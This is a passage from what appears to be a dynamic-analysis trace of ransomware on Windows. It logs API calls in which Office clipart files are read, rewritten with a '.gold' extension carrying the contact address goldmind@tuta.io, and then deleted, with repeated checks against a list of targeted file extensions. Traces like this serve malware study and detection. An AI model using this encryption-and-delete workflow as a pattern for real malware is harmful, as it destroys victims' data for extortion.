0x190 [0095.789] GetLastError () returned 0x0 [0095.789] ReadFile (in: hFile=0x3c4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x4712, lpOverlapped=0x0) returned 1 [0095.795] WriteFile (in: hFile=0x190, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4720, lpOverlapped=0x0) returned 1 [0095.796] ReadFile (in: hFile=0x3c4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.796] WriteFile (in: hFile=0x190, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.796] SetEndOfFile (hFile=0x190) returned 1 [0095.796] CloseHandle (hObject=0x190) returned 1 [0095.796] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.796] SetEndOfFile (hFile=0x3c4) returned 1 [0095.841] CloseHandle (hObject=0x3c4) returned 1 [0095.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0095.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.842] lstrlenW (lpString=".doc") returned 4 [0095.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.842] lstrlenW (lpString=".docx") returned 5 [0095.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.842] lstrlenW (lpString=".pdf") returned 4 [0095.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.842] lstrlenW (lpString=".xls") returned 4 [0095.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.842] lstrlenW (lpString=".xlsx") returned 5 [0095.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.842] lstrlenW (lpString=".ppt") returned 4 [0095.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.842] lstrlenW (lpString=".zip") returned 4 [0095.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.842] lstrlenW (lpString=".rar") returned 4 [0095.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.842] lstrlenW (lpString=".bz2") returned 4 [0095.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.842] lstrlenW (lpString=".7z") returned 3 [0095.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.842] lstrlenW (lpString=".dbf") returned 4 [0095.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.842] lstrlenW (lpString=".1cd") returned 4 [0095.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.843] lstrlenW (lpString=".jpg") returned 4 [0095.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.843] lstrlenW (lpString=".doc") returned 4 [0095.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.843] lstrlenW (lpString=".docx") returned 5 [0095.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.843] lstrlenW (lpString=".pdf") returned 4 [0095.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.843] lstrlenW (lpString=".xls") returned 4 [0095.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.843] lstrlenW (lpString=".xlsx") returned 5 [0095.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.843] lstrlenW (lpString=".ppt") returned 4 [0095.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.843] lstrlenW (lpString=".zip") returned 4 [0095.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.843] lstrlenW (lpString=".rar") returned 4 [0095.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.843] lstrlenW (lpString=".bz2") returned 4 [0095.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.843] lstrlenW (lpString=".7z") returned 3 [0095.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.843] lstrlenW (lpString=".dbf") returned 4 [0095.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.843] lstrlenW (lpString=".1cd") returned 4 [0095.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0095.843] lstrlenW (lpString=".jpg") returned 4 [0095.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.843] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.843] lstrlenW (lpString="FD00435_.WMF") returned 12 [0095.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.858] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2108) returned 1 [0095.858] CloseHandle (hObject=0x398) returned 1 [0095.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20 [0095.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.875] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.876] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0095.876] GetLastError () returned 0x0 [0095.876] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x83c, lpOverlapped=0x0) returned 1 [0095.895] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x840, lpOverlapped=0x0) returned 1 [0095.929] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.929] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.929] SetEndOfFile (hFile=0x194) returned 1 [0095.929] CloseHandle (hObject=0x194) returned 1 [0095.929] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.929] SetEndOfFile (hFile=0x398) returned 1 [0095.931] CloseHandle (hObject=0x398) returned 1 [0095.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0095.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.932] lstrlenW (lpString=".doc") returned 4 [0095.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString=".docx") returned 5 [0095.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.932] lstrlenW (lpString=".pdf") returned 4 [0095.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString=".xls") returned 4 [0095.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.932] lstrlenW (lpString=".xlsx") returned 5 [0095.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.932] lstrlenW (lpString=".ppt") returned 4 [0095.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.932] lstrlenW (lpString=".zip") returned 4 [0095.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.932] lstrlenW (lpString=".rar") returned 4 [0095.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString=".bz2") returned 4 [0095.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString=".7z") returned 3 [0095.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.932] lstrlenW (lpString=".dbf") returned 4 [0095.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.932] lstrlenW (lpString=".1cd") returned 4 [0095.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.932] lstrlenW (lpString=".jpg") returned 4 [0095.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.932] lstrlenW (lpString=".doc") returned 4 [0095.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString=".docx") returned 5 [0095.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.932] lstrlenW (lpString=".pdf") returned 4 [0095.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString=".xls") returned 4 [0095.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.932] lstrlenW (lpString=".xlsx") returned 5 [0095.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.932] lstrlenW (lpString=".ppt") returned 4 [0095.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.933] lstrlenW (lpString=".zip") returned 4 [0095.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.933] lstrlenW (lpString=".rar") returned 4 [0095.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.933] lstrlenW (lpString=".bz2") returned 4 [0095.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.933] lstrlenW (lpString=".7z") returned 3 [0095.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.933] lstrlenW (lpString=".dbf") returned 4 [0095.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.933] lstrlenW (lpString=".1cd") returned 4 [0095.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0095.933] lstrlenW (lpString=".jpg") returned 4 [0095.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.933] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.933] lstrlenW (lpString="FD00544_.WMF") returned 12 [0095.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.934] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5260) returned 1 [0095.934] CloseHandle (hObject=0x398) returned 1 [0095.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20 [0095.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.934] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.934] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0095.935] GetLastError () returned 0x0 [0095.935] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x148c, lpOverlapped=0x0) returned 1 [0095.937] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0095.938] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.938] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.938] SetEndOfFile (hFile=0x194) returned 1 [0095.938] CloseHandle (hObject=0x194) returned 1 [0095.938] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.938] SetEndOfFile (hFile=0x398) returned 1 [0095.940] CloseHandle (hObject=0x398) returned 1 [0095.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0095.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.940] lstrlenW (lpString=".doc") returned 4 [0095.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString=".docx") returned 5 [0095.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.941] lstrlenW (lpString=".pdf") returned 4 [0095.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString=".xls") returned 4 [0095.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.941] lstrlenW (lpString=".xlsx") returned 5 [0095.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.941] lstrlenW (lpString=".ppt") returned 4 [0095.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.941] lstrlenW (lpString=".zip") returned 4 [0095.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.941] lstrlenW (lpString=".rar") returned 4 [0095.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString=".bz2") returned 4 [0095.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString=".7z") returned 3 [0095.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.941] lstrlenW (lpString=".dbf") returned 4 [0095.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.941] lstrlenW (lpString=".1cd") returned 4 [0095.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.941] lstrlenW (lpString=".jpg") returned 4 [0095.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.941] lstrlenW (lpString=".doc") returned 4 [0095.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString=".docx") returned 5 [0095.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.941] lstrlenW (lpString=".pdf") returned 4 [0095.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString=".xls") returned 4 [0095.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.941] lstrlenW (lpString=".xlsx") returned 5 [0095.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.941] lstrlenW (lpString=".ppt") returned 4 [0095.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.941] lstrlenW (lpString=".zip") returned 4 [0095.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.941] lstrlenW (lpString=".rar") returned 4 [0095.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString=".bz2") returned 4 [0095.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.941] lstrlenW (lpString=".7z") returned 3 [0095.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.941] lstrlenW (lpString=".dbf") returned 4 [0095.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.942] lstrlenW (lpString=".1cd") returned 4 [0095.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0095.942] lstrlenW (lpString=".jpg") returned 4 [0095.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.942] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.942] lstrlenW (lpString="FD00564_.WMF") returned 12 [0095.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.942] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=896) returned 1 [0095.942] CloseHandle (hObject=0x398) returned 1 [0095.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20 [0095.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.943] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.943] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0095.943] GetLastError () returned 0x0 [0095.943] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x380, lpOverlapped=0x0) returned 1 [0095.945] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x390, lpOverlapped=0x0) returned 1 [0095.946] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.946] WriteFile (in: 